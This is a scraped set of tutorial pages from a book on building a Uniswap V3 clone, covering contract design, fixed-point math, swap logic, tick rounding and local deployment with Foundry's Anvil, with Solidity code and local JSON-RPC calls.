Well Build # The goal of the book is to build a clone of Uniswap V3. However, we wont build an exact copy. The main reason is that Uniswap is a big project with many nuances and auxiliary mechanicsbreaking down all of them would bloat the book and make it harder for readers to finish it. Instead, well build the core of Uniswap, its hardest and most important mechanisms. This includes liquidity management, swapping, fees, a periphery contract, a quoting contract, and an NFT contract. After that, Im sure, youll be able to read the original source code of Uniswap V3 and understand all the mechanics that were left outside of the scope of this book. Smart Contracts # After finishing the book, youll have these contracts implemented: UniswapV3Pool the core pool contract that implements liquidity management and swapping. This contract is very close to the original one , however, some implementation details are different and something is missed for simplicity. For example, our implementation will only handle exact input swaps, that is swaps with known input amounts. The original implementation also supports swaps with known output amounts (i.e. when you want to buy a certain amount of tokens). UniswapV3Factory the registry contract that deploys new pools and keeps a record of all deployed pools. This one is mostly identical to the original one besides the ability to change owner and fees. UniswapV3Manager a periphery contract that makes it easier to interact with the pool contract. This is a very simplified implementation of SwapRouter . Again, as you can see, I dont distinguish exact input and exact output swaps and implement only the former ones. UniswapV3Quoter is a cool contract that allows calculating swap prices on-chain. This is a minimal copy of both Quoter and QuoterV2 . Again, only exact input swaps are supported. UniswapV3NFTManager allows turning liquidity positions into NFTs. This is a simplified implementation of NonfungiblePositionManager . Front-end Application # For this book, I also built a simplified clone of the Uniswap UI . This is a very dumb clone, and my React and front-end skills are very poor, but it demonstrates how a front-end application can interact with smart contracts using Ethers.js and MetaMask. What Well Build Smart Contracts Front-end Application", "labels": ["Documentation"]}, {"title": "A Little Bit More on Fixed-point Numbers #", "html_url": "https://uniswapv3book.com/docs/milestone_3/more-on-fixed-point-numbers/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer A Little Bit More on Fixed-point Numbers A Little Bit More on Fixed-point Numbers A Little Bit More on Fixed-point Numbers # In this bonus chapter, Id like to show you how to convert prices to ticks in Solidity. We dont need to do this in the main contracts, but its helpful to have such function in tests so we dont hardcode ticks and could write something like tick(5000) this makes code easier to read because its more convenient for us to think in prices, not tick indexes. Recall that, to find ticks, we use TickMath.getTickAtSqrtRatio function, which takes $\\sqrt{P}$ as its argument, and the $\\sqrt{P}$ is a Q64.96 fixed-point number. In smart contract tests, we need to check $\\sqrt{P}$ many times in many different test cases: mostly after mints and swaps. Instead of hard coding actual values, it might be cleaner to use a helper function like sqrtP(5000) that converts prices to $\\sqrt{P}$. So, whats the problem? The problem is that Solidity doesnt natively support the square root operation, which means we need a third-party library. Another problem is that prices are often relatively small numbers, like 10, 5000, 0.01, etc., and we dont want to lose precision when taking square root. You probably remember that we used PRBMath earlier in the book to implement multiply-then-divide operation that doesnt overflow during multiplication. If you check PRBMath.sol contract, youll notice sqrt function. However, the function doesnt support fixed-point numbers, as the function description says. You can give it a try and see that PRBMath.sqrt(5000) results in 70 , which is an integer number with lost precision (without the fractional part). If you check prb-math repo, youll see these contracts: PRBMathSD59x18.sol and PRBMathUD60x18.sol . Aha! These are fixed-point number implementations. Lets pick the latter and see how it goes: PRBMathUD60x18.sqrt(5000 * PRBMathUD60x18.SCALE) returns 70710678118654752440 . This looks interesting! PRBMathUD60x18 is a library that implements fixed-numbers with 18 decimal places in the fractional part. So the number we got is actually 70.710678118654752440 (use cast --from-wei 70710678118654752440 ). However, we cannot use this number! There are fixed-point numbers and fixed-point numbers. The Q64.96 fixed-point number used by Uniswap V3 is a binary number64 and 96 signify binary places . But PRBMathUD60x18 implements a decimal fixed-point number (UD in the contract name means unsigned, decimal), where 60 and 18 signify decimal places . This difference is quite significant. Lets see how to convert an arbitrary number (42) to either of the above fixed-point numbers: Q64.96: $42 * 2^{96}$ or, using bitwise left shift, 2 << 96 . The result is 3327582825599102178928845914112. UD60.18: $42 * 10^{18}$. The result is 42000000000000000000. Lets now see how to convert numbers with the fractional part (42.1337): Q64.96: $421337 * 2^{92}$ or 421337 << 92 . The result is 2086359769329537075540689212669952. UD60.18: $421337 * 10^{14}$. The result is 42133700000000000000. The second variant makes more sense to us because it uses the decimal system, which we learned in our childhood. The first variant uses the binary system and its much harder for us to read. But the biggest problem with different variants is that its hard to convert between them. This all means that we need a different library, one that implements a binary fixed-point number and sqrt function for it. Luckily, theres such library: abdk-libraries-solidity . The library implemented Q64.64, not exactly what we need (not 96 bits in the fractional part) but this is not a problem. Heres how we can implement the price-to-tick function using the new library: function tick ( uint256 price) internal pure returns ( int24 tick_) { tick_ = TickMath.getTickAtSqrtRatio( uint160 ( int160 ( ABDKMath64x64.sqrt( int128 ( int256 (price << 64 ))) << (FixedPoint96.RESOLUTION - 64 ) ) ) ); } ABDKMath64x64.sqrt takes Q64.64 numbers so we need to convert price to such number. The price is expected to not have the fractional part, so were shifting it by 64 bits. The sqrt function also returns a Q64.64 number but TickMath.getTickAtSqrtRatio takes a Q64.96 numberthis is why we need to shift the result of the square root operation by 96 - 64 bits to the left. \\[ \\] A Little Bit More on Fixed-point Numbers", "labels": ["Documentation"]}, {"title": "Deployment #", "html_url": "https://uniswapv3book.com/docs/milestone_1/deployment/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Deployment Deployment Choosing Local Blockchain Network Running Local Blockchain First Deployment Interacting With Contracts, ABI Token Balance Current Tick and Price ABI Deployment # Alright, our pool contract is done. Now, lets see how we can deploy it to a local Ethereum network so we could use it from a front-end app later on. Choosing Local Blockchain Network # Smart contracts development requires running a local network, where you deploy your contracts during development and testing. This is what we want from such a network: Real blockchain. It must be a real Ethereum network, not an emulation. We want to be sure that our contract will work in the local network exactly as it would in the mainnet. Speed. We want our transactions to be minted immediately, so we could iterate quickly. Ether. To pay transaction fees, we need some ether, and we want the local network to allow us to generate any amount of ether. Cheat codes. Besides providing the standard API, we want a local network to allow us to do more. For example, we want to be able to deploy contracts at any address, execute transactions from any address (impersonate other address), change contract state directly, etc. There are multiple solutions as of today: Ganache from Truffle Suite. Hardhat , which is a development environment that includes a local node besides other useful things. Anvil from Foundry. All of these are viable solutions and each of them will satisfy our needs. Having said that, projects have been slowly migrating from Ganache (which is the oldest of the solutions) to Hardhat (which seems to be the most widely used these days), and now theres the new kid on the block: Foundry. Foundry is also the only of these solutions that uses Solidity for writing tests (the others use JavaScript). Moreover, Foundry also allows to write deployment scripts in Solidity. Thus, since weve decided to use Solidity everywhere, well use Anvil to run a local development blockchain, and well write deployment scripts in Solidity. Running Local Blockchain # Anvil doesnt require configuration, we can run it with a single command and itll do: $ anvil _ _ ( _ ) | | __ _ _ __ __ __ _ | | / _ ` | | ' _ \\ \\ \\ / / | | | | | ( _| | | | | | \\ V / | | | | \\_ _,_| |_| |_| \\_ / |_| |_| 0.1.0 ( d89f6af 2022-06-24T00:15:17.897682Z ) https://github.com/foundry-rs/foundry ... Listening on 127.0.0.1:8545 Anvil runs a single Ethereum node, so this is not really a network, but thats ok. By default, it creates 10 accounts with 10,000 ETH in each of them. It prints the addresses and related private keys when it startswell be using one of these addresses when deploying and interacting with the contract from UI. Anvil exposes JSON-RPC API interface at 127.0.0.1:8545 this interface is the main way of interacting with Ethereum nodes. You can find full API reference here . And this is how you can call it via curl : $ curl -X POST -H 'Content-Type: application/json' \\ --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_chainId\"}' \\ http://127.0.0.1:8545 { \"jsonrpc\" : \"2.0\" , \"id\" :1, \"result\" : \"0x7a69\" } $ curl -X POST -H 'Content-Type: application/json' \\ --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_getBalance\",\"params\":[\"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266\",\"latest\"]}' \\ http://127.0.0.1:8545 { \"jsonrpc\" : \"2.0\" , \"id\" :1, \"result\" : \"0x21e19e0c9bab2400000\" } You can also use cast (part of Foundry) for that: $ cast chain-id 31337 $ cast balance 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 10000000000000000000000 Now, lets deploy the pool and manager contracts to the local network. First Deployment # At its core, deploying a contract means: Compiling source code into EVM bytecode. Sending a transaction with the bytecode. Creating a new address, executing the constructor part of the bytecode, storing initialized bytecode on the address. This step is done automatically by an Ethereum node, when your contract creation transaction is mined. Deployment usually consists of multiple steps: preparing parameters, deploying auxiliary contracts, deploying main contracts, initializing contracts, etc. Scripting helps to automate these steps, and well write scripts in Solidity! Create scripts/DeployDevelopment.sol contract with this content: // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0 . 8 . 14 ; import \"forge-std/Script.sol\" ; contract DeployDevelopment is Script { function run () public { ... } } It looks very similar to the test contract, with only difference is that it inherits from Script contract, not from Test . And, by convention, we need to define run function which will be the body of our deployment script. In the run function, we define the parameters of the deployment first: uint256 wethBalance = 1 ether ; uint256 usdcBalance = 5042 ether ; int24 currentTick = 85176 ; uint160 currentSqrtP = 5602277097478614198912276234240 ; These are the same values we used before. Notice that were about to mint 5042 USDCthats 5000 USDC well provide as liquidity into the pool and 42 USDC well sell in a swap. Next, we define the set of steps that will be executed as the deployment transaction (well, each of the steps will be a separate transaction). For this, were using startBroadcast/endBroadcast cheat codes: vm.startBroadcast(); ... vm.stopBroadcast(); These cheat codes are provided by of Foundry . We got them in the script contract by inheriting from forge-std/Script.sol . Everything that goes after the broadcast() cheat code or between startBroadcast()/stopBroadcast() is converted to transactions and these transactions are sent to the node that executes the script. Between the broadcast cheat codes, well put the actual deployment steps. First, we need to deploy the tokens: ERC20Mintable token0 = new ERC20Mintable( \"Wrapped Ether\" , \"WETH\" , 18 ); ERC20Mintable token1 = new ERC20Mintable( \"USD Coin\" , \"USDC\" , 18 ); We cannot deploy the pool without having tokens, so we need to deploy them first. Since were deploying to a local development network, we need to deploy the tokens ourselves. In the mainnet and public test networks (Ropsten, Goerli, Sepolia), the tokens are already created. Thus, to deploy to those networks, well need to write network-specific deployment scripts. The next step is to deploy the pool contract: UniswapV3Pool pool = new UniswapV3Pool( address (token0), address (token1), currentSqrtP, currentTick ); Next goes Manager contract deployment: UniswapV3Manager manager = new UniswapV3Manager(); And finally, we can mint some amount of ETH and USDC to our address: token0.mint(msg.sender, wethBalance); token1.mint(msg.sender, usdcBalance); msg.sender in Foundry scripts is the address that sends transactions within the broadcast block. Well be able to set it when running scripts. Finally, at the end of the script, add some console.log calls to print the addresses of deployed contracts: console.log( \"WETH address\" , address (token0)); console.log( \"USDC address\" , address (token1)); console.log( \"Pool address\" , address (pool)); console.log( \"Manager address\" , address (manager)); Alright, lets run the script (ensure Anvil is running in another terminal window): $ forge script scripts/DeployDevelopment.s.sol --broadcast --fork-url http://localhost:8545 --private-key $PRIVATE_KEY --broadcast enables broadcasting of transactions. Its not enabled by default because not every script sends transactions. --fork-url sets the address of the node to send transactions to. --private-key sets the sender wallet: a private key is needed to sign transactions. You can pick any of the private keys printed by Anvil when its starting. I took the first one: 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 Deployment takes several seconds. In the end, youll see a list of transactions it sent. Itll also save transactions receipts to broadcast folder. In Anvil, youll also see many lines with eth_sendRawTransaction , eth_getTransactionByHash , and eth_getTransactionReceipt after sending transactions to Anvil, Forge uses the JSON-RPC API to check their status and get transaction execution results (receipts). Congratulations! Youve just deployed a smart contract! Interacting With Contracts, ABI # Now, lets see how we can interact with the deployed contracts. Every contract exposes a set of public functions. In the case of the pool contract, these are mint(...) and swap(...) . Additionally, Solidity creates getters for public variables, so we can also call token0() , token1() , positions() , etc. However, since contracts are compiled bytecodes, function names are lost during compilation and not stored on blockchain . Instead, every function is identified by a selector, which is the first 4 bytes of the hash of the signature of the function. In pseudocode: hash(\"transfer(address,address,uint256)\")[0:4] EVM uses the Keccak hashing algorithm , which was standardized as SHA-3. Specifically, the hashing function in Solidity is keccak256 . Knowing this, lets make two calls to the deployed contracts: one will be a low-level call via curl , and one will be made using cast . Token Balance # Lets check the WETH balance of the deployer address. The signature of the function is balanceOf(address) (as defined in ERC-20 ). To find the ID of this function (its selector), well hash it and take the first four bytes: $ cast keccak \"balanceOf(address)\" | cut -b 1-10 0x70a08231 To pass the address, we simply append it to the function selector (and add left padding up to 32 digits since addresses take 32 bytes in function call data): 0x70a08231000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 is the address were going to check balance of. This is our address, the first account in Anvil. Next, we execute eth_call JSON-RPC method to make the call. Notice that this doesnt require sending a transactionthis endpoint is used to read data from contracts. $params = '{\"from\":\"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266\",\"to\":\"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512\",\"data\":\"0x70a08231000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266\"}' $curl -X POST -H 'Content-Type: application/json' \\ --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[' \" $params \" ',\"latest\"]}' \\ http://127.0.0.1:8545 { \"jsonrpc\" : \"2.0\" , \"id\" :1, \"result\" : \"0x00000000000000000000000000000000000000000000011153ce5e56cf880000\" } The to address is the USDC token. Its printed by the deployment script and it can be different in your case. Ethereum nodes return results as raw bytes, to parse them we need to know the type of a returned value. In the case of balanceOf function, the type of a returned value is uint256 . Using cast , we can convert it to a decimal number and then convert it to ethers: $ cast --to-dec 0x00000000000000000000000000000000000000000000011153ce5e56cf880000| cast --from-wei 5042.000000000000000000 The balance is correct! We minted 5042 USDC to our address. Current Tick and Price # The above example is a demonstration of low-level contract calls. Usually, you never do calls via curl and use a tool or library that makes it easier. And Cast can help us here again! Lets get the current price and tick of a pool using cast : $ cast call POOL_ADDRESS \"slot0()\" | xargs cast --abi-decode \"a()(uint160,int24)\" 5602277097478614198912276234240 85176 Nice! The first value is the current $\\sqrt{P}$ and the second value is the current tick. Since --abi-decode requires full function signature we have to specify a() even though we only want to decode function output. ABI # To simplify interaction with contracts, Solidity compiler can output ABI, Application Binary Interface. ABI is a JSON file that contains the description of all public methods and events of a contract. The goal of this file is to make it easier to encode function parameters and decode return values. To get ABI with Forge, use this command: $ forge inspect UniswapV3Pool abi Feel free skimming through the file to better understand its content. \\[ \\] Deployment Choosing Local Blockchain Network Running Local Blockchain First Deployment Interacting With Contracts, ABI Token Balance Current Tick and Price ABI", "labels": ["Documentation"]}, {"title": "Generalize Swapping #", "html_url": "https://uniswapv3book.com/docs/milestone_2/generalize-swapping/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Generalize Swapping Generalize Swapping Filling Orders SwapMath Contract Finding Price by Swap Amount Finishing the Swap Testing Generalize Swapping # This will be the hardest chapter of this milestone. Before updating the code, we need to understand how the algorithm of swapping in Uniswap V3 works. You can think of a swap as of filling of an order: a user submits an order to buy a specified amount of tokens from a pool. The pool will use the available liquidity to convert the input amount into an output amount of the other token. If theres not enough liquidity in the current price range, itll try to find liquidity in other price ranges (using the function we implemented in the previous chapter). Were now going to implement this logic in the swap function, however going to stay only within the current price range for nowwell implement cross-tick swaps in the next milestone. function swap ( address recipient, bool zeroForOne, uint256 amountSpecified, bytes calldata data ) public returns ( int256 amount0, int256 amount1) { ... In swap function, we add two new parameters: zeroForOne and amountSpecified . zeroForOne is the flag that controls swap direction: when true , token0 is traded in for token1 ; when false, its the opposite. For example, if token0 is ETH and token1 is USDC, setting zeroForOne to true means buying USDC for ETH. amountSpecified is the amount of tokens user wants to sell. Filling Orders # Since, in Uniswap V3, liquidity is stored in multiple price ranges, Pool contract needs to find all liquidity thats required to fill an order from user. This is done via iterating over initialized ticks in a direction chosen by user. Before continuing, we need to define two new structures: struct SwapState { uint256 amountSpecifiedRemaining; uint256 amountCalculated; uint160 sqrtPriceX96; int24 tick; } struct StepState { uint160 sqrtPriceStartX96; int24 nextTick; uint160 sqrtPriceNextX96; uint256 amountIn; uint256 amountOut; } SwapState maintains current swaps state. amountSpecifiedRemaining tracks the remaining amount of tokens that needs to be bought by the pool. When its zero, the swap is done. amountCalculated is the out amount calculated by the contract. sqrtPriceX96 and tick are new current price and tick after a swap is done. StepState maintains current swap steps state. This structure tracks the state of one iteration of an order filling. sqrtPriceStartX96 tracks the price the iteration begins with. nextTick is the next initialized tick that will provide liquidity for the swap and sqrtPriceNextX96 is the price at the next tick. amountIn and amountOut are amounts that can be provided by the liquidity of the current iteration. After we implement cross-tick swaps (that is, swaps that happen across multiple price ranges), the idea of iterating will be clearer. // src/UniswapV3Pool.sol function swap (...) { Slot0 memory slot0_ = slot0; SwapState memory state = SwapState({ amountSpecifiedRemaining : amountSpecified, amountCalculated : 0 , sqrtPriceX96 : slot0_.sqrtPriceX96, tick : slot0_.tick }); ... Before filling an order, we initialize a SwapState instance. Well loop until amountSpecifiedRemaining is 0, which will mean that the pool has enough liquidity to buy amountSpecified tokens from user. ... while (state.amountSpecifiedRemaining > 0 ) { StepState memory step; step.sqrtPriceStartX96 = state.sqrtPriceX96; (step.nextTick, ) = tickBitmap.nextInitializedTickWithinOneWord( state.tick, 1 , zeroForOne ); step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.nextTick); In the loop, we set up a price range that should provide liquidity for the swap. The range is from state.sqrtPriceX96 to step.sqrtPriceNextX96 , where the latter is the price at the next initialized tick (as returned by nextInitializedTickWithinOneWord we know this function from a previous chapter). (state.sqrtPriceX96, step.amountIn, step.amountOut) = SwapMath .computeSwapStep( state.sqrtPriceX96, step.sqrtPriceNextX96, liquidity, state.amountSpecifiedRemaining ); Next, were calculating the amounts that can be provider by the current price range, and the new current price the swap will result in. state.amountSpecifiedRemaining -= step.amountIn; state.amountCalculated += step.amountOut; state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96); } The final step in the loop is updating the SwapState. step.amountIn is the amount of tokens the price range can buy from user; step.amountOut is the related number of the other token the pool can sell to user. state.sqrtPriceX96 is the current price that will be set after the swap (recall that trading changes current price). SwapMath Contract # Lets look closer at SwapMath.computeSwapStep . // src/lib/SwapMath.sol function computeSwapStep ( uint160 sqrtPriceCurrentX96, uint160 sqrtPriceTargetX96, uint128 liquidity, uint256 amountRemaining ) internal pure returns ( uint160 sqrtPriceNextX96, uint256 amountIn, uint256 amountOut ) { ... This is the core logic of swapping. The function calculates swap amounts within one price range and respecting available liquidity. Itll return: the new current price and input and output token amounts. Even though the input amount is provided by user, we still calculate it to know how much of the user specified input amount was processed by one call to computeSwapStep . bool zeroForOne = sqrtPriceCurrentX96 >= sqrtPriceTargetX96; sqrtPriceNextX96 = Math.getNextSqrtPriceFromInput( sqrtPriceCurrentX96, liquidity, amountRemaining, zeroForOne ); By checking the price, we can determine the direction of the swap. Knowing the direction, we can calculate the price after swapping amountRemaining of tokens. Well return to this function below. After finding the new price, we can calculate input and output amounts of the swap using the function we already have ( the same functions we used to calculate token amounts from liquidity in the mint function): amountIn = Math.calcAmount0Delta( sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity ); amountOut = Math.calcAmount1Delta( sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity ); And swap the amounts if the direction is opposite: if ( ! zeroForOne) { (amountIn, amountOut) = (amountOut, amountIn); } Thats it for computeSwapStep ! Finding Price by Swap Amount # Lets now look at Math.getNextSqrtPriceFromInput the function calculates a $\\sqrt{P}$ given another $\\sqrt{P}$, liquidity, and input amount. It tells what the price will be after swapping the specified input amount of tokens, given the current price and liquidity. Good news is that we already know the formulas: recall how we calculated price_next in Python: # When amount_in is token0 price_next = int((liq * q96 * sqrtp_cur) // (liq * q96 + amount_in * sqrtp_cur)) # When amount_in is token1 price_next = sqrtp_cur + (amount_in * q96) // liq Were going to implement this in Solidity: // src/lib/Math.sol function getNextSqrtPriceFromInput ( uint160 sqrtPriceX96, uint128 liquidity, uint256 amountIn, bool zeroForOne ) internal pure returns ( uint160 sqrtPriceNextX96) { sqrtPriceNextX96 = zeroForOne ? getNextSqrtPriceFromAmount0RoundingUp( sqrtPriceX96, liquidity, amountIn ) : getNextSqrtPriceFromAmount1RoundingDown( sqrtPriceX96, liquidity, amountIn ); } The function handles swapping in both directions. Since calculations are different, well implement them in separate functions. function getNextSqrtPriceFromAmount0RoundingUp ( uint160 sqrtPriceX96, uint128 liquidity, uint256 amountIn ) internal pure returns ( uint160 ) { uint256 numerator = uint256 (liquidity) << FixedPoint96.RESOLUTION; uint256 product = amountIn * sqrtPriceX96; if (product / amountIn == sqrtPriceX96) { uint256 denominator = numerator + product; if (denominator >= numerator) { return uint160 ( mulDivRoundingUp(numerator, sqrtPriceX96, denominator) ); } } return uint160 ( divRoundingUp(numerator, (numerator / sqrtPriceX96) + amountIn) ); } In this function, were implementing two formulas. At the first return , it implements the same formula we implemented in Python. This is the most precise formula, but it can overflow when multiplying amountIn by sqrtPriceX96 . The formula is (we discussed it in Output Amount Calculation): $$\\sqrt{P_{target}} = \\frac{\\sqrt{P}L}{\\Delta x \\sqrt{P} + L}$$ When it overflows, we use an alternative formula, which is less precise: $$\\sqrt{P_{target}} = \\frac{L}{\\Delta x + \\frac{L}{\\sqrt{P}}}$$ Which is simply the previous formula with the numerator and the denominator divided by $\\sqrt{P}$ to get rid of the multiplication in the numerator. The other function has simpler math: function getNextSqrtPriceFromAmount1RoundingDown ( uint160 sqrtPriceX96, uint128 liquidity, uint256 amountIn ) internal pure returns ( uint160 ) { return sqrtPriceX96 + uint160 ((amountIn << FixedPoint96.RESOLUTION) / liquidity); } Finishing the Swap # Now, lets return to the swap function and finish it. By this moment, we have looped over next initialized ticks, filled amountSpecified specified by user, calculated input and amount amounts, and found new price and tick. Since, in this milestone, were implementing only swaps within one price range, this is enough. We now need to update contracts state, send tokens to user, and get tokens in exchange. if (state.tick != slot0_.tick) { (slot0.sqrtPriceX96, slot0.tick) = (state.sqrtPriceX96, state.tick); } First, we set new price and tick. Since this operation writes to contracts storage, we want to do it only if the new tick is different, to optimize gas consumption. (amount0, amount1) = zeroForOne ? ( int256 (amountSpecified - state.amountSpecifiedRemaining), - int256 (state.amountCalculated) ) : ( - int256 (state.amountCalculated), int256 (amountSpecified - state.amountSpecifiedRemaining) ); Next, we calculate swap amounts based on swap direction and the amounts calculated during the swap loop. if (zeroForOne) { IERC20(token1).transfer(recipient, uint256 ( - amount1)); uint256 balance0Before = balance0(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1, data ); if (balance0Before + uint256 (amount0) > balance0()) revert InsufficientInputAmount(); } else { IERC20(token0).transfer(recipient, uint256 ( - amount0)); uint256 balance1Before = balance1(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1, data ); if (balance1Before + uint256 (amount1) > balance1()) revert InsufficientInputAmount(); } Next, were exchanging tokens with user, depending on swap direction. This piece is identical to what we had in Milestone 2, only handling of the other swap direction was added. Thats it! Swapping is done! Testing # Test wont change significantly, we only need to pass amountSpecified and zeroForOne to swap function. Output amount will change insignificantly though, because its now calculated in Solidity. We can now test swapping in the opposite direction! Ill leave this for you, as a homework (just be sure to choose a small input amount so the whole swap can be handled by our single price range). Dont hesitate peeking at my tests if this feels difficult! \\[ \\] Generalize Swapping Filling Orders SwapMath Contract Finding Price by Swap Amount Finishing the Swap Testing", "labels": ["Documentation"]}, {"title": "Tick Rounding #", "html_url": "https://uniswapv3book.com/docs/milestone_4/tick-rounding/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Tick Rounding Tick Rounding nearestUsableTick in JavaScript nearestUsableTick in Solidity Tick Rounding # Lets review some other changes we need to make to support different tick spacings. Tick spacing greater than 1 wont allow users to select arbitrary price ranges: tick indexes must be multiples of a tick spacing. For example, for tick spacing 60 we can have ticks: 0, 60, 120, 180, etc. Thus, when user picks a range, we need to round it so its boundaries are multiples of pools tick spacing. nearestUsableTick in JavaScript # In the Uniswap V3 SDK , the function that does that is called nearestUsableTick : /** * Returns the closest tick that is nearest a given tick and usable for the given tick spacing * @param tick the target tick * @param tickSpacing the spacing of the pool */ export function nearestUsableTick ( tick : number , tickSpacing : number ) { invariant (Number. isInteger ( tick ) && Number. isInteger ( tickSpacing ), 'INTEGERS' ) invariant ( tickSpacing > 0 , 'TICK_SPACING' ) invariant ( tick >= TickMath . MIN_TICK && tick <= TickMath . MAX_TICK , 'TICK_BOUND' ) const rounded = Math. round ( tick / tickSpacing ) * tickSpacing if ( rounded < TickMath . MIN_TICK ) return rounded + tickSpacing else if ( rounded > TickMath . MAX_TICK ) return rounded - tickSpacing else return rounded } At its core, its just: Math. round ( tick / tickSpacing ) * tickSpacing Where Math.round is rounding to the nearest integer: when the fractional part is less than 0.5, it rounds to the lower integer; when its greater than 0.5 it rounds to the greater integer; and when its 0.5, it rounds to the greater integer as well. So, in the web app, well use nearestUsableTick when building mint parameters: const mintParams = { tokenA : pair . token0 . address , tokenB : pair . token1 . address , tickSpacing : pair . tickSpacing , lowerTick : nearestUsableTick ( lowerTick , pair . tickSpacing ), upperTick : nearestUsableTick ( upperTick , pair . tickSpacing ), amount0Desired , amount1Desired , amount0Min , amount1Min } In reality, it should be called whenever user adjusts a price range because we want the user to see the actual price that will be created. In our simplified app, we do it less user-friendly. However, we also want to have a similar function in Solidity tests, but neither of the math libraries were using implements it. nearestUsableTick in Solidity # In our smart contract tests, we need a way to round ticks and convert rounded prices to $\\sqrt{P}$. In a previous chapter, we chose to use ABDKMath64x64 to handle fixed-point numbers math in tests. The library, however, doesnt implement the rounding function we need to port nearestUsableTick , so well need to implement it ourselves: function divRound ( int128 x, int128 y) internal pure returns ( int128 result) { int128 quot = ABDKMath64x64.div(x, y); result = quot >> 64 ; // Check if remainder is greater than 0.5 if (quot % 2 ** 64 >= 0x8000000000000000 ) { result += 1 ; } } The function does multiple things: it divides two Q64.64 numbers; it then rounds the result to the decimal one ( result = quot >> 64 ), the fractional part is lost at this point (i.e. the result is rounded down); it then divides the quotient by $2^{64}$, takes the remainder, and compares it with 0x8000000000000000 (which is 0.5 in Q64.64); if the remainder is greater or equal to 0.5, it rounds the result to the greater integer. What we get is an integer rounded according to the rules of Math.round from JavaScript. We can then re-implement nearestUsableTick : function nearestUsableTick ( int24 tick_, uint24 tickSpacing) internal pure returns ( int24 result) { result = int24 (divRound( int128 (tick_), int128 ( int24 (tickSpacing)))) * int24 (tickSpacing); if (result < TickMath.MIN_TICK) { result += int24 (tickSpacing); } else if (result > TickMath.MAX_TICK) { result -= int24 (tickSpacing); } } Thats it! \\[ \\] Tick Rounding nearestUsableTick in JavaScript nearestUsableTick in Solidity", "labels": ["Documentation"]}, {"title": "User Interface #", "html_url": "https://uniswapv3book.com/docs/milestone_5/user-interface/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick 